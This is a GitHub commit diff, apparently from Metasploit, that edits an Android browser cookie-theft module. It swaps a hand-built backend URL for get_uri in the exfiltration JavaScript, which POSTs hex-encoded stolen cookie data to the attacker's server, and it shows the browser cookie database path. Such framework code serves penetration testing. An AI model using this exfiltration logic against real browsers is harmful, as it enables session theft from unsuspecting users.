Skip to content

Commit 1236684

Browse files
author
Tod Beardsley
committed
Use get_uri instead, note lack of Rex::Text method
See rapid7#4461
1 parent 788e315 commit 1236684

File tree

1 file changed

+2
-8
lines changed

1 file changed

+2
-8
lines changed

modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -110,7 +110,7 @@ def exfiltration_js
110110
return (c.length < 2) ? '0'+c : c;
111111
}).join('');
112112
var x2 = new XMLHttpRequest();
113-
x2.open('POST', '#{backend_url}/');
113+
x2.open('POST', '#{get_uri}/');
114114
x2.setRequestHeader('Content-type', 'text/plain');
115115
x2.send(hex);
116116
}
@@ -130,13 +130,7 @@ def cookie_path(file='')
130130
'/data/data/com.android.browser/databases/' + file
131131
end
132132

133-
def backend_url
134-
proto = (datastore["SSL"] ? "https" : "http")
135-
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
136-
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
137-
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH'].gsub(/^\//, '')}"
138-
end
139-
133+
# TODO: Make this a proper Rex::Text function
140134
def hex2bin(hex)
141135
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
142136
end

0 commit comments

Comments
 (0)